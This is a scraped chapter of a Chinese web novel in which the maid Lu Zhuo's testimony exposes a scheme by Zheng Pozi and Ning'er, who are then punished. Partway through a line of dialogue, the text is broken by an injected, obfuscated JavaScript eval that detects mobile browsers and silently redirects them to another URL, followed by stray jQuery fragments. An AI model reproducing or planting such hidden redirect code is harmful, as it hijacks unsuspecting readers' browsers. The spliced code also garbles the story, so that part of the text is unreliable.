默认冷灰
24号文字
方正启体

17. 证言

作者:压龙大仙本书字数:K更新时间:
    二小姐高容英原打算不问到她头上,她就只当全然不知的。


    哪怕是生母看着要塌架子,她仍能自持,只不想让外人觉得杨怀薇这一脉全是些没城府的。


    可唯独她受不了,受不了别人拿她当傻子。


    郑婆子听了高容英的话,也并不尴尬,干脆认了:


    “二小姐这么说,奴婢不敢有顶撞的,只是二小姐细想想,只奴婢一个人是罪该万死的吗?那丫头真没有歪心思,真就是一心为了高家吗?她才来府里一天,她会比我更在意高家,在意您和太太们的声誉吗!”


    这是不把鹿啄咬死,她也不瞑目的意思了。


    凝儿也挣扎着爬到高克正脚下:


    “三少爷!三少爷你看看我!”


    高克正赶紧缩,要不是庄婆子手快拉住了凝儿,他的鞋都差点让凝儿给脱了。


    “三少爷!”凝儿喊着,“我服侍您的日子短,可您怎么知道我就不是因为仰慕您才日日勤学苦练,才能进了您的院子呢!我也是


    一心为着您啊!”


    见没人因为仰慕这事处罚鹿啄,还有高克行为她说话,凝儿下意识觉得这样说行得通,况且她一直觑着高克正的脸色,见到高克


    正对别人说仰慕他并没有反感。


    “谁安排你进去的呢。”


    鹿啄突然低声问道。


    她的声音虽低,但很清晰,在这么嘈杂的环境里也凸显出来,叫所有人都听见了:


    “西厅里选人,只选了素馨一个。”


    坠在后头的素馨听见有人提自己,赶紧往前挪了两步,倒不是为了显示自己,只是等着回话。


    “我……”凝儿不由自主地又去看郑婆子,但郑婆子把头撇过去了。


    她只能看向杨怀薇身边那个婆子,那个在小径上领她去三少爷房里的婆子。


    这目光太显眼了,杨怀薇立刻意识到,回身直接给了那婆子一嘴巴:


    “你做的好事!”


    那婆子“扑通”一声跪下去。


    这下,谁还能相信郑婆子是真心为了高家呢?


    杨怀薇脸上仍有余怒,但郑婆子和凝儿已撇不清了,她稍稍安心了一些,转而想解决自己第二个心腹大患:


    “纵然她们全脏了心,但这丫头到底没说明白,这些事她是怎么知道的。”


    这是最后一桩悬案了,殷碧难得打起几分兴趣,揉着额角问:


    “是叫阿啄的吧,你总要说清楚才是。”


    到了这一步,说也要说,不说也要说了。鹿啄还是刚才的语调:


    “我第一日在府中上值,领的是扫地的差事,所以当晚上灯前,我在外院扫地。”


    一屋子人看着她,各怀心事,鹿啄兀自说:


    “因进府时曾偶然见过三少爷一面,三少爷天人之姿,我记忆犹新,不由自主就去了拱辰轩外打扫。”


    她说得简单,但高克正心里已经默默为她补充全了一个用情至深的形象,哪怕只是让少爷看到院外洁净的甬道,也是为了少爷做


    了一件事而荣耀的那种痴情女子。


    “在拱辰轩的墙角,我听见郑婆子在跟凝儿交待‘你跟三少爷说,晚上让你上值,到时候就到西边的墙根等我,我把挑过的衣服扔进来。’”


    这是原话,郑婆子听了也一惊,她明明记得自己怕隔墙有耳,离墙根很远,只在灶房附近。


    “凝儿说三少爷并不好说话,她白天想向三少爷卖乖,三少爷还瞪她。”


    高克正坐不住了。


    男子汉大丈夫,不该与小女子置气发怒,但他没想到凝儿竟然背后排揎他。


    “郑嬷嬷可能觉得凝儿不配合,又叫凝儿对三少爷说知道错了,以后只想默默守着少爷”


    高克正彻底绷不住了,他起身,撩衣跪倒,低着头对上首道:


    “太太,大太太,各位姨娘,还有哥哥姐姐们,阿啄所说句句属实,那天白天,凝儿的确拿着郑婆子的原话这么跟我说的,我一时心软,就叫她上夜了。”


    杨怀薇心疼得紧,但没说话,一直等到殷碧叫高克正站起来。


    “正哥儿,这不怪你,是那贱奴先生了坏心。”


    殷碧不光叫他起来,甚至亲自扶了一把。


    等高克正坐回去了,鹿啄才继续说:


    “我刚来,不认识任何一位奶奶妈妈,没有当场拿赃,就不敢乱说。今天上午,我一直在外院影壁墙等着,这事,素馨姐姐可以为我作证。”


    素馨还记得早上的事,况且她跟凝儿有怨,不仅诚心帮鹿啄作证,还添油加醋道:


    “回奶奶们,我上午的确碰见了阿啄妹妹,不仅如此,我还遇到了凝儿,她没在上工,反而到院子里把阿啄妹妹数落了一番,我


    也觉得很奇怪,现下想来,可能是外院有扫地的她不方便行事,便特意把阿啄妹妹骂走。”


    高克行也道:


    “是了,别说素馨,我也记得阿啄上午在影壁墙那守着,我还以为她受了罚。”


    又有少爷出来作证,凝儿原本想跟素馨再撕扯一回,但去看郑婆子脸色时,只见对方一片死气沉沉,就剩一口气吊着。


    两人说罢,鹿啄继续分条缕析地罗列:


    “下午,我在内院扫地,小钗找我到浆洗房送衣服,我就又回了外院。路过三少爷院时,看见院外落了一些银杏果,叫人踩了会


    粘在地上,所以我立刻取了扫帚来扫。”


    时值八月底,正是银杏落果的时候,外院为赏秋景,密植了许多银杏树,这说辞也没有不妥。


    “刚到了拱辰轩门口,就迎面遇上了郑婆子,她误将我手中的衣服当成了贼赃,咬住我不放,这事,大少爷可以作证。”


    只有最初说了一下来龙去脉的高克肃,仍四平八稳地坐在交椅上,淡淡道了声:


    “是。”


    之后的事,其实高克肃已经都说过了,但鹿啄仍要解释其中疑点:


    “我知道她们合谋把赃物藏在三少爷院里的灶房内,郑婆子一直与我拉扯,我只得借这个机会将隐情告知少爷,可到了灶房,就


    见小钗躺在柴禾堆后,不省人事,怀中抱着赃物。”


    说完这句,鹿啄不再说话了。


    郑婆子已知道自己彻底败了。


    可分明她记得不是这样的,那小畜生带着衣服,分明是从拱辰轩出来而不是刚到,还有那种拉了牛一样的怪异触感,她跟大少爷


    说的话,凝儿的昏迷。所有的事经她之口都能对上,却又与事实有着微妙的出入。


    如果事实并不如鹿啄所说,她到底怎么得知自己和凝儿的谋划呢?


    如果不是亲眼所见亲耳所听,怎么会一字一句都复述的出来?


    上首的几位也是被鹿啄证词的严密程度所震慑了。


    竟然在每个时间点上,都有人证,甚至三位少爷,都能为她作证。


    若是深想一下就会发现,鹿啄的人证证明的都是些无关紧要的节点。


    但没人想象得到就在高府这样的深宅大院里,到处都是耳目和护院的地方,会有一个人飞檐走壁四处打探。众人只是觉得这叙述


    天衣无缝,叫人无从怀疑。


    只有杨怀薇还有一个问题:


    “这番话,你怎么在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030547|194532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拱辰轩时,不告诉大少爷?”


    “我说过,我仰慕三少爷,并不想让别人知道三少爷的院内是一个婆子可以随意进出的,会伤了少爷的脸面。”


    高克正又是一阵阵的脸红,连耳尖都红了。


    多么体面又为他着想的女孩子啊。


    而鹿啄,只是刚刚才想好了这一大套说辞。


    没有人再问,庄婆子等了片刻,向郑婆子道:


    “你还有要辩的吗?”


    郑婆子没话,凝儿却“哇”的一声嚎哭出来,震得身边的人直躲。


    “姑母!姑母!”凝儿哭着,声音含混不清,“姑母你想想办法啊姑母!是你说,那些丫头的衣服最少也值几两银子,咱们不捞白


    不捞,我都是听你的呀姑母,是你让我到三少爷院里去争,是你说素馨比不上我,我只是听你的呀姑母!!”


    她终于发了急智,知道了怎样才能叫自己活下去,但太晚了,不仅晚,还将她此时唯一的救主撕得粉碎,把仅剩的对她的维护亲


    手扯下了。


    郑婆子咆哮:


    “我若知道你是这么蠢的一个东西,我怎么会帮你!什么都做不好,什么都不会,单个眼睛大,肚里空,只想着做姨娘,享清


    福,你也不看看你配不配!”


    两人骂着,连七八年间的旧账也一并往外扯,家里的外头的,甚至高府的,没有一丝遮拦。


    看着再这样下去要连自己的脸也撕了,曾氏坐立难安,高呼了几次“住嘴!够了!”都并没人理她。


    殷碧抬起了一只手。


    庄婆子会意,立刻上前一人抽了一个耳光,两人当即止住了。


    殷碧道:


    “这两个人,捆起来,至于如何发落,我要与大嫂和几位姨娘商议一下。其他人,除了阿啄以外,各自拿了衣裳回各处去上值,


    衣裳烧了的,公中出钱,都各自置办一件。”


    丫头们纷纷谢恩,该上值的都去上值了,小钗和素馨回到自己主子身后。


    太太姨娘们带着婆子转到屏风后面,里头还单有一个配房,听不见她们说了什么。


    约莫过了一盏茶的功夫,众人又纷纷回来,在原来的位置上落了座,个个面色都和善了不少,就连曾氏,也没了那种受尽了侮辱


    一般的尴尬模样。


    主位方几上放的茶早就凉了,但殷碧还是捧起来喝了一口,润了润嗓子,道:


    “郑婆子,打二十板子,念你是大嫂的陪房,又在府里做了多年,往后到庄子上去务农,再不许进府里来。”


    下面的郑婆子哪里还有说话的气儿,止不住地哀叹自己命苦,又忽然想起什么似的,一猛子扎起来,大喊着让不要送她到庄子上


    去,她已经知道错了,说着,还不住地掌掴自己。


    她已被定了今后的命,没人再管她如何,只听殷碧继续发落:


    “凝儿,也打二十板子,她必不可与郑婆子混在一处,等下叫个人牙子来,卖了吧。”


    凝儿栽倒在地上,头抵着地砖,她竟不同以往,只低低哭了两声,就没动静了。


    外面的小厮进来拖人,郑婆子连打带喊,抓着一个小厮的衣襟不放,拖行到鹿啄面前时,鹿啄不经意瞥了一眼。


    这一眼,叫她刹那间回到了几日之前。


    那时她在高府外的长巷尽头等着,她日日都到这个地方等,姐姐的信应该送到那里,可两个月来,姐姐都没有信送出来。


    那天,她最后只等来了两个小厮抬着她的姐姐,丢到她的面前。


    那其中一个抬人的小厮,此时正拖着郑婆子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)